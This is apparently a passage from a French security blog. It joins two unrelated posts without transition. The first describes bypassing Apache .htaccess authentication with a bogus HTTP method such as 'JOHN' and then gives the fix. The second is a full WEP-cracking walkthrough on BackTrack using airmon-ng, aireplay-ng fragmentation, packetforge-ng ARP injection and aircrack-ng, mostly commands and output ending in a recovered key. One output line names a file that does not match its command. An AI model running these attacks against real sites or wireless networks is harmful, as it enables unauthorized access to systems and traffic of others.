</LIMIT>

Donc si l’on fait un tour rapide:

• La première ligne donne la page où l’on doit rediriger lors d’une 403 (Erreur d’auth ou deny from all par exemple)
• La seconde donne le chemin du fichier contenant les mots de passe
• La troisième le chemin du fichier de groupe
• La quatrième, c’est le wording du prompt login / pass
• La cinquième donne le mode d’authentification, dans ce cas auth basic (mod_auth_basic)
• Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.

Tout cela est assez schématisé, mais l’idée est là. Donc si je tente d’accéder à la page protégée, j’effectuerais une requête de type:

GET http://www.example.com/admin/index.php HTTP/1.0

Et je vais donc atterir sur une 401 Authorization Required. Où se situe l’astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m’explique, si à la place de faire un GET ou un POST, je fais un:

JOHN http://www.example.com/admin/index.php HTTP/1.0

Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c’est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d’apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d’un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu’il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d’aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.

Comment patchons nous cette faille ?
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D’ailleurs dans les préconisations globales d’apache, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:

Access controls are normally effective for all access methods, and this is the usual desired behavior. In the general case, access control directives should not be placed within a <Limit> section.

The purpose of the <Limit> directive is to restrict the effect of the access controls to the nominated HTTP methods. For all other methods, the access restrictions that are enclosed in the <Limit> bracket will have no effect. The following example applies the access control only to the methods POST, PUT, and DELETE, leaving all other methods unprotected.

Il y a deux méthodes pour analyser les données: soit l’on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d’injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que BackTrack 3 optimise assez largement les algos pour cracker, il n’est plus nécessaire d’avoir beaucoup d’IVs pour décrypter une clé WEP.

Après avoir booté sur le LiveCD, voici comment cela se présente:

// Tout d’abord on charge le driver pour la fameuse carte
bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

// On la passe en mode monitor
bt ~ # airmon-ng start wifi0

// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.
bt ~ # airodump-ng wifi0

// Le but est de prendre celle qui a le plus de beacons, et lorsque l’on choisit celle-ci, on repère bien le channel, le BSSID et l’ESSID. Dans mon cas, supposons:
Channel: 11
BSSID: 00:01:02:03:04:05
ESSID: RESEAU-CRYPT

A partir d’ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d’emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.

// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d’abord, je vais m’auth sur le système distant (-e représente le SSID de la cible, -h représente l’adresse Mac source, généralement, nous):
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0

Généralement cette commande doit vous retourner:
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:56:39 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».

11:56:39 Sending Authentication Request (Open System) [ACK]
11:56:39 Authentication successful
11:56:39 Sending Association Request [ACK]
11:56:39 Association successful (AID: 1)

Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).

bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:55:23 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:55:23 wifi0 is on channel 12, but the AP uses channel 11

Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:

bt ~ # airmon-ng start wifi0 11
wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39 Association successful (AID: 1). Nous allons désormais générer une keystream valide afin de forger notre packet d’injection:

bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)
11:57:55 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:57:55 Waiting for a data packet…
Read 2791 packets…

Size: 371, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:01:02:03:04:05
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = BLABLA

0×0000: 0841 3a01 0016 3810 7484 0013 ce8a 8259 .A:…8.t……Y
0×0010: ffff ffff ffff 1000 0100 0000 2f23 a566 …………/#.f
0×0020: 8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398 …3,….e.y~.s.
0×0030: 42fc a81c e682 179c ac10 f1a3 d83e 3770 B…………>7p
0×0040: a3ff cb34 62e0 e232 3e17 8340 544b ee1d …4b..2>..@TK..
0×0050: f06c a543 3b51 05d6 bdb0 a10a a159 4fbd .l.C;Q…….YO.
0×0060: 2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6 $…X….r….).
0×0070: 6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9 b4..K……&V…
0×0080: 5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1 ].’.E:.6…|.?..
0×0090: 2813 b8e4 a24c 3bce dc98 2be2 6a79 c313 (….L;…+.jy..
0x00a0: f530 7596 4430 958d 2406 de88 7664 481f .0u.D0..$…vdH.
0x00b0: 7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949 |……o…….I
0x00c0: b12e 6507 cab2 6619 d6d8 9a1c a018 720c ..e…f…….r.
0x00d0: e004 2c4f 533b 1326 0c57 0006 2950 e468 ..,OS;.&.W..)P.h
— CUT —

Use this packet ? y

Saving chosen packet in replay_src-0726-115911.cap
11:59:20 Data packet found!
11:59:20 Sending fragmented packet
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 384 bytes of a keystream
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 1500 bytes of a keystream
11:59:20 Got RELAYED packet!!
Saving keystream in fragment-0726-115920.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d’injection. Packetforge-ng est là pour ca.
//arp définit le type d’attaque
//-y passe le fragment à utiliser généré par airplay
//-a adresse MAC de la cible (BSSID)
//-h adresse MAC de l’attaquant
//-k notre adresse ip suppossée
//-l adresse ip supposée du routeur
//-w permet d’écrire le packet d’injection final
bt ~ # packetforge-ng –arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap
Wrote packet to: alice.cap

//Essayons maintenant d’injecter des données histoire de voir si tout a fonctionné:

bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0
12:04:07 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
Saving ARP requests in replay_arp-0726-120407.cap
You should also start airodump-ng to capture replies.
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets…(500 pps)

Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes. Il faut parfois se ré-authentifier avant de lancer l’injection de donnée. Vous pouvez stopper l’injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:

// On sniffe l’interface sur laquelle nous avons travaillé:
bt ~ # airodump-ng -w capture –channel 11 wifi0

// Les datas ne bougent alors pas beaucoup. On injecte donc les données:
bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0

//Enfin, on lance, en parallèle à l’envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n’est pas grave si lorsque vous lancez le crack il n’y a pas encore assez d’IVs, il est reloadé régulièrement.

bt ~ # aircrack-ng capture-01.cap
Opening capture-01.cap
Read 121863 packets.

# BSSID ESSID Encryption

1 RESEAU-CRYPT2 No data – WEP or WPA
2 RESEAU-CRYPT3 No data – WEP or WPA
3 00:01:02:03:04:05 RESEAU-CRYPT WEP (33689 IVs)
4 RESEAU-CRYPT4 No data – WEP or WPA
5 RESEAU-CRYPT5 None (0.0.0.0)
6 RESEAU-CRYPT6 No data – WEP or WPA
7 RESEAU-CRYPT7 No data – WEP or WPA

Index number of target network ? 3

// On selectionne le ESSID sur lequel on a travaillé, et là magie:

bt ~ # Aircrack-ng 1.0 rc1 r1085

[00:00:03] Tested 1339440 keys (got 33677 IVs)

KB depth byte(vote)
0 1/ 2 2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)
1 0/ 1 A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)
2 0/ 1 FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)
3 0/ 1 BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)
4 0/ 2 3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)
5 0/ 1 A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)
6 1/ 2 16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)
7 0/ 2 7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)
8 0/ 1 75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)
9 0/ 1 F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)
10 17/ 10 E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)
11 0/ 2 AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)
12 0/ 1 A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)

KEY FOUND! [blabla]
Decrypted correctly: 100%

Si les suites air* ne vous sont pas familières, je vous conseille d’aller vous balader par ici:
http://linux.die.net/man/1/airmon-ng
http://linux.die.net/man/1/airodump-ng
http://linux.die.net/man/1/aireplay-ng
http://linux.die.net/man/1/packetforge-ng
http://linux.die.net/man/1/aircrack-ng